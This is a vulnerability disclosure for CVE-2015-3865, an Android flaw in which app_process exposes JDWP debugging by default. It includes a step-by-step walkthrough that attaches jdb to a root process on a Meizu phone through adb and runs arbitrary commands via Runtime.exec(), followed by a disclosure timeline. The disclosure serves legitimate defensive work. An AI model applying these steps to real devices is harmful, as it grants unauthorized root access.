CVE-2015-3865: Elevation of Privilege Vulnerability in Android Runtime
We came across a vulnerability existing in the Android runtime. This vulnerability could always unsafely expose the JDWP interface through the built-in app_process command. In particular, this vulnerability will be manifested when the app_process command is used to execute various payloads in jar or other files. We also notice that app_process is embedded in multiple other built-in AOSP commands, including am, pm, appops, bmgr, bu, content, input, svc etc. As a result, when these commands are executed, the corresponding processes will also unsafely expose the JDWP interface, which might be exploited for privilege leak or escalation.
The root cause of this vulnerability is that the JDWP interface is allowed by default, unless the Zygote forbids it (see the comment in Figure 1). Normally an app is forked from the Zygote process and the Zygote process will enable or disable the JDWP interface according to the setting in the manifest file. However, there are some cases that an app (or a jar file) could be invoked through the app_process command directly. In this case, the JDWP interface will be exposed by default (and the developer may not even know about it.) If the vulnerable process has the system or higher privilege (which we do find such vulnerable processes in some popular phones from Samsung, Xiaomi, and Huawei), then an attacker could exploit this vulnerability to execute arbitrary payloads in the context of the vulnerable privileged process.
Exploiting the Vulnerability
In the following section, we will demonstrate a way of exploiting this vulnerability to get the root privilege. The phone used was Meizu m1 note with Android version 4.4.4. The Flyme version is 18.104.22.168A.
This phone has a preinstalled module called LBE to manage an app’s permissions. It loads a particular jar file using the app_process command and thus exposes the JDWP interface (accidentally). We can use the “adb jdwp” command to get the pid of the vulnerable process. It happens that this process has the root privilege.
-> adb jdwp 1475 -> adb shell ps | grep 1475 root 1475 1 853624 24512 ffffffff 00000000 S lbesec.loader
Then we use the jdb client to communicate with the vulnerable process.
-> adb forward tcp:8080 jdwp:1475 -> jdb -attach localhost:8080 Set uncaught java.lang.Throwable Set deferred uncaught java.lang.Throwable Initializing jdb ... >
After that, we set a breakpoint and then execute a command to hit the breakpoint.
> stop in com.lbe.security.service.xxxx.xxxxxx.x.x(int) > adb shell am force-stop com.meizu.gamecenter.service > "adb shell am start -n com.meizu.gamecenter.service/com.meizu.gamecenter.service.TestActivity" >Breakpoint hit: "thread=<9> Binder_1", com.lbe.security.service.xxxx.xxxxxx.x.x (), line=-1 bci=0 <9> Binder_1
Now we can use the java.lang.Runtime().exec() method to execute arbitrary payloads with the root privilege.
The finding was mainly credited to Yajin Zhou, Lei Wu and Xuxian Jiang from Qihoo 360.
- August 8, 2015: We reported the vulnerability to Google
- August 8, 2015: Google confirmed the presence of the reported vulnerability.
- August 13, 2015: Google rated it as a high vulnerability and assigned CVE-2015-3865 for this vulnerability
- October 9, 2015: Google released the patch and disclosed the details of CVE-2015-3865 on Nexus Security Bulletin